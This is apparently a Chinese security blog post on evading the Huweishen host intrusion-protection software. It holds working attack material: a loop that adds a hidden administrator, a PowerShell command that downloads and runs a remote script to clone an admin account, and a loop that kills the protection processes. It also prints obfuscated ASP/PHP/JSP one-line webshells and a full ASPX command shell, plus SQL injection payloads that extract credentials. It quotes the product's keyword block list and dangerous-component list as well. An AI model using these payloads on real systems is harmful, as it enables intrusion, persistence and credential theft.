护卫神安全防护软件的绕过总结

发布时间:2025-12-09 11:50:54 浏览次数:1

最近的恰饭文有点多,是时候该分享些东西了,等以后有空了再整理下其他WAF的绕过系列分享给大家,感谢大家的理解和支持,抱拳!

0x01 前言

记得以前测试这个安全防护软件的绕过方式时还是v3.8.2版本,测试完后也没再用上过,这两天去看了下,已经升级到V5.0.0了,可能大部分绕过方法也已经失效了,但还是分享出来供大家参考下吧,有兴趣的可以去测试下最新版的护卫神!

注:由于“护卫神·入侵防护系统”为商业版,而网上找到的破解版本较低,且功能不齐全,所以只能在护卫神官网申请了3天免费试用进行测试,笔者提供的解决方案均来自以往的实践当中和本地测试。

0x02 本地测试环境/基本信息

操作系统:Windows Server 2008 R2 x64软件版本:护卫神·入侵防护系统 v3.8.2安装路径:C:Huweishen.comHwsSec_26319日志路径:C:Huweishen.comHwsSec_26319log隔离路径:C:Huweishen.comHwsSec_26319insfile护卫神进程名称:hws.exe、hwsd.exe、HwsPanel.exe、hws_ui.exe护卫神服务名称:hws(入侵防护系统服务)、hwsd(入侵防护系统监控服务)

2.2.1 护卫神安全防护绕过-[用户监控]

功能介绍:主要功能有3个(锁定用户组、禁止新建用户、检测影子用户)。

图2-2-1 护卫神“用户监控”防护功能

图2-2-2 护卫神自动删除新建管理员

解决方案:

(1) 利用for循环命令绕过新建用户行为检测

for /l %i in (1,1,2) do @net user 90sec huweishen!@#1 /add & net localgroup administrators 90sec /add

图2-2-3 利用for命令添加管理员用户

(2) 利用PowerShell克隆管理员绕过管理组检测

PowerShell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.103/Clone.txt'); Create-Clone -u 90sec -p huweishen!@#1

图2-2-4 利用PowerShell成功克隆管理员

注:护卫神“用户监控”的原理是检测攻击者是否存在新建用户行为和Administrators管理组中是否存在其它用户,如果存在则立即删除该用户。虽然我们可以通过for循环命令绕过新建用户行为检测,也能将这个新建用户添加到Administrators管理组,但最终还是逃不过Administrators管理组检测,仍然会将新建的90sec管理员用户给删除,可尝试增加循环次数。因为用PowerShell脚本克隆的90sec用户不属于任何组的成员,所以护卫神无法删除90sec这个具有管理员权限的用户。

图2-2-5 护卫神hws2018-07-03.log日志文件

2.2.2 护卫神安全防护绕过-[远程监控]

功能介绍:主要功能有3个(计算机名认证、IP或域名认证、更改远程桌面端口)。

图2-2-6 护卫神“远程监控”防护功能

解决方案:

(1) 利用“日志文件”绕过护卫神计算机名认证限制

1、tasklist /svc找到hws服务,然后sc qc hws找到“护卫神”的安装路径;2、护卫神日志路径:C:Huweishen.comHwsSec_26319loghws2018-07-03.log;3、查看“hws2018-07-03.log”日志文件,找到以前登录过此系统的计算机名称(HuWeiShenServer);

(2) 利用for循环命令绕过护卫神IP、域名认证限制

1、利用for命令循环结束hws.exe、hwsd.exe这两个进程,在循环执行过程中“护卫神”的防护功能失效,循环结束防护功能生效。

for /l %i in (1,1,500) do @taskkill /f /im hws.exe /im hwsd.exe

2、在停止防护功能时间内快速进入目标主机并关闭护卫神的“远程登录监控”防护功能即可。

注:护卫神“远程监控”的原理是通过白名单来限制远程登录的计算机名、IP或域名,如果它们存在于“远程监控”白名单列表当中则允许进行远程桌面连接,否则不允许。

结束hws.exe、hwsd.exe进程后会停止“护卫神”防护功能1分钟左右(此方法已失效!)。新版本中结束hws.exe、hwsd.exe进程后会自动重复的运行,防护功能依然是正常的。

2.2.3 护卫神安全防护绕过-[URL保护]

功能介绍:“URL保护”这个功能是在IIS加固模块里的,主要是用来防止攻击者访问他们利用IIS6.0解析漏洞上传的WebShell木马文件。

URL保护模块(默认规则库):

.asp;.asa;.php;.aspx;.asax;.asp/.asa/.asax/~1~2~3~4

解决方案:

(1) 利用“include”文件包含绕过

ASP:<!--#include file="hws.txt" -->PHP:<?php Include("hws.txt");?>JSP:<jsp:include page="hws.txt"/>

(2) 利用“CER、CDX”文件扩展名绕过

http://192.168.1.103/hws.cer;.jpghttp://192.168.1.103/hws.cdx;.jpghttp://192.168.1.103/hws.cer/bypass.jpghttp://192.168.1.103/hws.cdx/bypass.jp

注:护卫神“URL保护”的原理是通过检测访问者的URL地址中是否存在规则库列表里的内容,如果存在则拦截,不存在则放行。因为IIS6.0默认安装下的CER、CDX都映射在“C:WINDOWSsystem32inetsrvasp.dll”,所以它们能够正常解析ASP代码。而护卫神“URL保护”默认规则库中没有.CER;、.CDX;这样的规则,所以没有对其访问进行拦截。

2.2.4 护卫神安全防护绕过-[卸载密码]

解决方案:

护卫神在安装时的“卸载密码”功能只是在卸载时要求输入密码,而直接重装并没有要求输入密码,所以个人感觉“卸载密码”这个功能相当于摆设,我们可以直接重装护卫神软件,然后再进行卸载。

2.2.5 护卫神安全防护绕过-[木马监控]

功能介绍:主要设置选项有2个(监控路径、查杀选项)。

解决方案:

具体测试过程就不详写了,直接贴出我用了几年的WebShell一句话木马。现在网上也公布的有各种免杀过WAF的WebShell代码,是否有后门请自行检测。

<%Xz2GmkUViY=ReQuEsT("/"):ExEcUtE(Xz2GmkUViY)%><?php $Xz2GmkUViY=convert_uudecode("&87-S97)T `");@$Xz2GmkUViY($_REQUEST['/']);?><%@Page Language="Jscript"%><%var Xz2GmkUViY;Xz2GmkUViY = Request.Item["/"];Response.Write(eval(Xz2GmkUViY,"unsafe"));%>

注:护卫神“木马监控”的原理主要还是通过静态检测(文件特征码、危险函数等)来进行查杀。现在网上大部分公开的免杀WebShell基本都还是对危险函数进行分割、编码、回调、变形或在线加密(http://www.phpjm.net/encode.html)处理来绕过WAF的检测,推荐几篇不错的文章。

基于WAF入侵检测和变异WebShell检测算法的Web安全研究https://www.docin.com/p-1815617232.htmlWebshell安全检测篇https://www.vuln.cn/6548Deformity ASP_ASPX_PHP_JSP Webshell、Webshell Hidden Learninghttps://www.cnblogs.com/LittleHann/category/548519.html

2.2.6 护卫神安全防护绕过-[运行限制]

功能介绍:“运行限制”这个功能是在IIS加固模块里的,主要设置选项有3个(禁止运行危险组件、禁止获取系统信息、禁止运行PSO组件)。

CLASSID在Windows中唯一表示一个组件,一般在注册表HKEY_CLASSES_ROOTCLSID中,Windows x64在注册表HKEY_CLASSES_ROOTWow6432NodeCLSID中,有兴趣的可以去深入了解一下。

{13709620-c279-11ce-a49e-444553540000}:::Shell.application{ed8c108e-4349-11d2-91a4-00c04f7969e8}:::Microsoft.XmlHttp{b54f3741-5b07-11cf-a4b0-00aa004a55e8}:::MSXML2.XMLHTTP{f935dc20-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell.1{fbeb8a05-beee-4442-804e-409d6c4515e9}:::Shell32.dll{7849596a-48ea-486e-8937-a2a3009f31a9}:::Shell32.dll{72c24dd5-d70a-438b-8a42-98424b88afb8}:::WScript.Shell{f935dc2b-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc29-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc28-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc27-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc26-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc25-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc24-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc23-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc21-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{f935dc20-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell{24be5a30-edfe-11d2-b933-00104b365c9f}:::WScript.Shell{24be5a31-edfe-11d2-b933-00104b365c9f}:::WScript.Shell{563dc061-b09a-11d2-a24d-00104bd35090}:::WScript.Shell{563dc060-b09a-11d2-a24d-00104bd35090}:::WScript.Shell{41904400-be18-11d3-a28b-00104bd35090}:::WScript.Shell{093ff999-1ea0-4079-9525-9614c3504b74}:::Wscript.Network {0d43fe01-f093-11cf-8940-00a0c9054228}:::File System Object{8bc3f05e-d86b-11d0-a075-00c04fb68820}:::WMI{a8f03be3-edb7-4972-821f-af6f8ea34884}:::WMINet_Utils.WmiSecurityHelper.1{172bddf8-ceea-11d1-8b05-00600806d9b6}:::Winmgmts //WMI获取系统信息{565783c6-cb41-11d1-8b02-00600806d9b6}:::Winmgmts //WMI获取系统信息{d6bfa35e-89f2-11d0-8527-00c04fd8d503}:::IISNamespace{97d25db0-0363-11cf-abc4-02608c9e7553}:::用户和组{172bddf8-ceea-11d1-8b05-00600806d9b6}:::Winmgmts //WMI获取系统信息{565783c6-cb41-11d1-8b02-00600806d9b6}:::Winmgmts //WMI获取系统信息){172bddf8-ceea-11d1-8b05-00600806d9b6}:::Winmgmts //WMI获取系统信息{565783c6-cb41-11d1-8b02-00600806d9b6}:::Winmgmts //WMI获取系统信息)

解决方案:

利用ASPX WebShell木马绕过“禁止运行危险组件”限制

<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><script Language="c#" runat="server">protected void FbhN(object sender, EventArgs e) {    try {        Process ahAE = new Process();        ahAE.StartInfo.FileName = kusi.Value;        ahAE.StartInfo.Arguments = bkcm.Value;        ahAE.StartInfo.UseShellExecute = false;        ahAE.StartInfo.RedirectStandardInput = true;        ahAE.StartInfo.RedirectStandardOutput = true;        ahAE.StartInfo.RedirectStandardError = true;        ahAE.Start();        string Uoc = ahAE.StandardOutput.ReadToEnd();        Uoc = Uoc.replace("<", "&lt;");        Uoc = Uoc.replace(">", "&gt;");        Uoc = Uoc.replace("rn", "<br>");        tnQRF.Visible = true;        tnQRF.InnerHtml = "<hr width="100%" noshade/><pre>" + Uoc + "</pre>";    } catch(Exception error) {        Response.Write(error.Message);    }}</script><html> <head>   <title>Asp.Net SafeDog CmdShell</title>  </head>  <body>   <form  method="post" runat="server">    <p runat="server" >     <p><input  runat="server"  type="text" size="100" value="c:windowssystem32cmd.exe" /> </p>    <input  runat="server"  value="/c Set" type="text" size="100" />     <asp:button  css runat="server" text="Submit" onclick="FbhN" />     <p  runat="server" visible="false" enableviewstate="false">     </p>    </p>   </form>   </body></html>

注:护卫神“运行限制”的原理是通过禁止一些危险组件(Wscript.Shell、Shell.Application、Winmgmts、IISNamespace等)来阻止攻击者利用WebShell脚本木马调用这些危险组件来执行系统命令、获取系统信息等。但aspx执行命令不依赖于这些组件,所以能...!

2.2.7 护卫神安全防护绕过-[SQL防注入]

功能介绍:主要设置选项有3个(GET、POST、COOKIES防注入关键词,默认都是一样的),可以根据自己的安全经验选择性增加一些关键词

GET、POST、COOKIES防注入关键词:

*xp_cmdshell**and*db_name()*>*0**and*user*>*0**bulk*insert*exec**select*is_srvrolemember**use*model**select*is_member**xp_availablemedia**xp_dirtree**xp_terminate_process**sp_dropextendedproc**exec*sp_addlogin**xp_regdeletekey**exec*xp_regread**exec*xp_regenumvalues*'**exec*xp_regwrite*'**exec*xp_regread*'**exec*xp_regdeletevalue*'**declare*@*char**exec*xp_regaddmultistring*'**exec*xp_regdeletekey*'**exec*xp_regenumvalues*'**exec*xp_regread*'**exec*xp_regremovemultistring*'**exec*xp_regwrite*'**declare*@**union*select**select*from*[...SNIP...]

解决方案:

(1) ASP+ACCESS:利用ASP%特性、unicode编码绕过护卫神防注入。

http://192.168.1.108/sql.asp?id=1 and exists(s%elect * from admin)http://192.168.1.108/sql.asp?id=1 and exists(s%u0065lect * from admin)

(2) ASPX+MSSQL:利用unicode编码、%00截断绕过护卫神防注入。

http://192.168.1.108/sql.aspx?id=1%00and 1=(select count(*) from master.dbo.sysobjects where name= 'xp_cmdshell')http://192.168.1.108/sql.aspx?id=1 and 1=(s%u0065lect count(*) from master.dbo.sysobjects where name= '%u0078%u0070%u005f%u0063%u006d%u0064%u0073%u0068%u0065%u006c%u006c')

(3) PHP+MYSQL:利用/*%00*/、GET+POST绕过护卫神防注入。

http://192.168.1.108/sql.php?id=1/*%00*/union select 1,group_concat(username,0x3A,password),3 from admin--http://192.168.1.108/sql.php?id=1unionselect 1,group_concat(username,0x3A,password),3 from admin--POST:aa

注:护卫神“SQL防注入”的原理是通过正则匹配关键词来拦截的,在GET、POST或Cookies数据里检测到黑名单中的关键词就进行拦截。这一小节内容并非笔者原创,只是参考了网上已公开的方法进行复现测试。绕过XSS、注入以及上传并非我的强项,也没有深入研究这一块,后边会整理@Bypass师傅写的Bypass WAF系列文章供学习大家参考,这里另外推荐几篇不错的文章。

我的WafBypass之道系列https://xz.aliyun.com/u/1502WAF攻防研究之四个层次Bypass WAFhttps://xz.aliyun.com/t/15Bypass WAF Cookbook – MayIKissYouhttps://www.vuln.cn/6105sql-injection-fuck-wafhttps://notwhy.github.io/2018/06/sql-injection-fuck-waf/
护卫神破解版
需要做网站?需要网络推广?欢迎咨询客户经理 13272073477